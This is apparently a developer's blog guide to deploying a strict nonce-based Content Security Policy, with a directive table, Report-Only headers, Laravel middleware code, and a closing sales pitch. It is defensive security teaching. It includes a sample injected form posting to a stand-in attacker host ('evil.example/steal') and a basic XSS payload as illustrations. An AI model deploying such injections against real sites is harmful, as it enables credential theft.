HomeBlogHow to Implement Content Security Policy...

Engineering Guide · 9 min read · August 4, 2026

How to Implement Content Security Policy in a Web Application

Deploying a weak Content Security Policy full of 'unsafe-inline' and wildcard CDNs creates false confidence without stopping Cross-Site Scripting. This guide walks through rolling out a strict nonce-based CSP in Report-Only mode, handling third-party tag managers, and wiring per-request headers in Nginx and Laravel.

Author
Smit Desai
Published
August 4, 2026
Read time
9 min read
Topic
Security & SEO
Services
Custom Web · Mobile Apps · All Services

Cross-Site Scripting (XSS) rarely arrives as an obvious <script>alert(1)</script> payload anymore. In production applications I audit, it usually sneaks in through a markdown renderer, a legacy WYSIWYG field, or a compromised third-party marketing snippet that silently reads localStorage or hijacks form submissions. Output escaping stops the first two vectors, while a well-engineered Content Security Policy (CSP) constrains what the browser is allowed to load and execute when something slips past validation.

The catch is that most teams either ship a broken policy that blocks Stripe Checkout in production, or they surrender and add 'unsafe-inline' plus https: to make browser console errors disappear. Both outcomes waste engineering effort. Across 170+ shipped case studies and server-level work managing 300+ WordPress sites for a Finnish partner, the only rollout pattern that survives real marketing and product demands is a staged, nonce-based deployment backed by reporting telemetry.

Why Allowlist-Only CSP Policies Break Under Real Traffic

Traditional tutorials teach domain-based allowlists: list https://cdn.example.com and https://www.googletagmanager.com under script-src, deploy, and move on. In practice, domain allowlists fail on two fronts: large CDNs host JSONP callbacks and legacy library gadgets that attackers can still abuse, and marketing or support teams constantly add new widgets that break static Nginx headers.

The modern alternative standardized across browsers is a nonce-based strict CSP paired with 'strict-dynamic'. Instead of trusting domains, the server generates a cryptographically random token per HTTP response, attaches it to the Content-Security-Policy header, and prints the identical nonce attribute on trusted <script> tags. Scripts loaded dynamically by those trusted scripts inherit permission via 'strict-dynamic', while injected inline scripts without the matching nonce are ignored.

Choosing the Right Directives Without Over-Restricting

A production policy starts with a tight baseline and opens only the specific resource types your application actually fetches. Treat the directives below as distinct security boundaries rather than a single monolithic string:

Directive Recommended Baseline Engineering Trade-off & Failure Mode
default-src 'self' Safe fallback; forgetting object-src 'none' leaves legacy Flash/PDF plugin vectors open.
script-src 'nonce-<random>' 'strict-dynamic' https: 'unsafe-inline' Modern browsers ignore 'unsafe-inline' and https: when a nonce is present, while ancient browsers fall back gracefully.
style-src 'self' 'nonce-<random>' CSS-in-JS libraries and inline style="" attributes break unless handled with nonces or refactored to classes.
img-src 'self' data: https://cdn.yourdomain.com Using https: is acceptable if user avatars come from external OAuth providers, though proxying images is cleaner.
connect-src 'self' https://api.stripe.com wss://ws.yourdomain.com Blocks unauthorized fetch() or XMLHttpRequest exfiltration to attacker servers; WebSockets (wss:) must be listed explicitly.
frame-ancestors 'none' or 'self' Replaces X-Frame-Options to block clickjacking; set to specific partner origins only when embedding is intentional.
base-uri 'none' Stops base-tag injection attacks that rewrite relative <script src="/app.js"> URLs to an attacker host.

Notice form-action 'self' as well. If an attacker manages to inject HTML markup—even without JavaScript execution—they can wrap your login inputs in a <form action="https://evil.example/steal"> element. Restricting form-action closes that credential harvesting route cleanly. For a broader view of how HTTP headers fit alongside database and auth controls, review the complete Laravel security audit checklist and the OWASP Top Ten guidelines.

Rolling Out With Report-Only Mode Before Enforcing

Never turn on an enforcing Content-Security-Policy header on day one in production. Deploy Content-Security-Policy-Report-Only first. The browser parses the policy identically and fires violation JSON payloads to your collection endpoint, yet it still executes scripts and renders styles so paying users never hit a blank screen.

Setting Up Violation Telemetry

Configure both the legacy report-uri directive and the newer Reporting-Endpoints header (report-to) so Chromium, Firefox, and Safari all send structured violation events:

Reporting-Endpoints: csp-endpoint="https://yourdomain.com/api/csp-reports"
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'nonce-__CSP_NONCE__' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'self'; report-uri /api/csp-reports; report-to csp-endpoint;

Watch out for two traps when parsing violation reports:

  • Browser extension noise: Password managers, ad blockers, and translation extensions inject scripts into the DOM and trigger moz-extension:// or chrome-extension:// violations. Filter out reports whose blocked-uri uses extension schemes or about:blank before paging your on-call engineer.
  • Report floods: A broken page visited by 5,000 concurrent users generates 5,000 POST requests per second to your reporting endpoint. Either sample reports at the edge, deduplicate by (document-uri, violated-directive, blocked-uri) in Redis, or route them to a separate lightweight ingestion worker rather than your primary transactional database.

Implementing Per-Request Nonces in Application Middleware

Because nonces must be unpredictable and never reused across cached responses, generating them inside application middleware (rather than static web server configuration) is essential for dynamic apps.

Laravel Middleware Example

Here is a clean middleware pattern that attaches a 128-bit random base64 nonce to the request context, exposes it to Blade views, and sets the header conditionally depending on whether you are still auditing or ready to enforce:

<?php

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Vite;
use Symfony\Component\HttpFoundation\Response;

class ApplyContentSecurityPolicy
{
    public function handle(Request $request, Closure $next): Response
    {
        $nonce = base64_encode(random_bytes(16));

        $request->attributes->set('csp_nonce', $nonce);
        Vite::useCspNonce($nonce);

        /** @var Response $response */
        $response = $next($request);

        $policy = implode('; ', [
            "default-src 'self'",
            "script-src 'nonce-{$nonce}' 'strict-dynamic'",
            "style-src 'self' 'nonce-{$nonce}'",
            "img-src 'self' data: https:",
            "font-src 'self' data:",
            "connect-src 'self' https://api.stripe.com",
            "object-src 'none'",
            "base-uri 'none'",
            "frame-ancestors 'self'",
            "form-action 'self'",
        ]);

        $header = config('security.csp_report_only', true)
            ? 'Content-Security-Policy-Report-Only'
            : 'Content-Security-Policy';

        $response->headers->set($header, $policy);

        return $response;
    }
}

Two practical details matter here in production:

  1. Full-page caching: If you run Varnish, Nginx FastCGI cache, or Cloudflare APO in front of server-rendered pages, caching an HTML document with a baked-in nonce="abc" while serving a fresh nonce="xyz" header—or serving the same nonce to every visitor for 24 hours—breaks CSP or weakens it. Dynamic authenticated pages should bypass edge HTML caching, while truly static marketing sites should skip nonces and use SHA-256 script hashes ('sha256-...') instead.
  2. Vite and frontend builds: Calling Vite::useCspNonce($nonce) automatically injects the nonce into @vite(...) tags and dynamic chunk preloads, eliminating one of the most common headaches in modern Inertia or Livewire builds.

Handling Third-Party Scripts, Payment SDKs, and Legacy Code

Most CSP rollouts stall when developers hit Google Tag Manager, analytics pixels, or legacy inline onclick="toggleModal()" handlers.

  • Inline event handlers: 'strict-dynamic' does not permit inline attributes like onclick="..." or javascript:void(0) links. Move them to delegated event listeners inside your bundled JS file. For teams maintaining aging codebases where dozens of templates contain inline JS, bundling CSP cleanup into a structured legacy software upgrade saves months of ad-hoc patching.
  • Tag managers: Pass your per-request nonce onto the GTM container <script nonce="..."> tag and enable GTM's custom HTML nonce propagation inside container settings. Better yet, offload analytics scripts to a server-side tagging endpoint so untrusted third-party pixels never execute inside your primary checkout DOM.
  • Payment iframes: Stripe Elements, Razorpay, and Adyen rely on frame-src and connect-src endpoints. Test every payment method—including 3D Secure popups and Apple Pay domain checks—under Report-Only before flipping to enforcement.

Also remember that CSP headers interact with search crawling and embedded previews if misconfigured on public pages. Pair your security header testing with Google's SEO Starter Guide practices and check rendered pages in Search Console URL Inspection so Googlebot never fails to fetch hydration bundles.

Hardening High-Volume CMS and Multi-Site Infrastructure

Custom SaaS stacks are straightforward because you control the build pipeline. Content platforms like WordPress are harder because plugins constantly inject inline <script> tags without warning. When managing 300+ WordPress sites at the server level, enforcing a blanket nonce CSP breaks heterogeneous admin panels and page builders immediately. Instead, apply strict frame-ancestors, object-src 'none', base-uri 'self', and upgrade-insecure-requests at the Nginx edge across virtual hosts, restrict script-src tightly on public login and lead routes, and test plugin updates in staging with Report-Only telemetry first.

Ship Strict Headers Without Breaking Production

Implementing a real Content Security Policy requires auditing your asset pipeline, cache layer, third-party scripts, and reporting pipeline end to end. Whether you are building via custom web application development or tightening headers on an existing product, SmitDev delivers tested production engineering without agency overhead.

Bring me in for security remediation at $55/day (8–9 hours of dedicated engineering) or $1,999/month for continuous delivery. Let's discuss your project and map out a zero-downtime CSP rollout.

Written by Smit Desai · Principal Full-Stack & FDSE

8+ years shipping production systems · 171 case studies · 300+ WordPress servers managed for Finland partners.

Next Steps and Recommended Resources

Next Steps · Recommended Resources

Pillar 1 · Infrastructure Proof

300+ WordPress & Cloud Server Fleet

From server-level management of 300+ WordPress sites for a Finland client to PostgreSQL query tuning (3,982 -> 52 queries).

Pillar 2 · Legacy Rescue

Upgrade Old Software (10 Hrs Free)

Audit bottlenecks, eliminate security vulnerabilities, and stabilize production servers—starting with 10 free engineering hours.

01 — Frequently asked questions

security & seo

Does a Content Security Policy replace output escaping in templates?

No. Output encoding in Blade, React, or Twig remains your primary defense against Cross-Site Scripting. CSP acts as a second safety net that prevents an injected script from executing or exfiltrating session tokens even if a developer slips up.

Why is 'unsafe-inline' dangerous inside script-src?

Allowing 'unsafe-inline' permits any inline <script> block or event handler attribute like onload= to run. If an attacker injects raw HTML into a comment or profile field, the browser executes the payload immediately, defeating the core purpose of script-src.

Should I configure CSP in Nginx or inside my application framework?

If your site is static or uses hash-based policies, Nginx or Cloudflare is fast and simple. Once you need per-request cryptographic nonces for server-rendered HTML, generate the header inside application middleware so the response header and inline script nonce match.

How long should CSP stay in Report-Only mode before enforcing?

Run Content-Security-Policy-Report-Only for at least one full release cycle—typically 7 to 14 days—across authenticated dashboards, checkout flows, and admin panels so rare third-party widgets or payment iframes show up in telemetry before blocking users.

03 — Have an engineering need?

hire the right expertise

Let's talk tech.

Deciding between an embedded forward deployed engineer or a senior full stack developer? Share your technical context and timeline.

Solitaire Corporate Park, Makarba, Ahmedabad, Gujarat 380015, India · IST (UTC+5:30) · --:-- IST · Mon–Fri 09:00–18:00 IST · US & EU overlap daily

No newsletter, no CRM. Just a reply.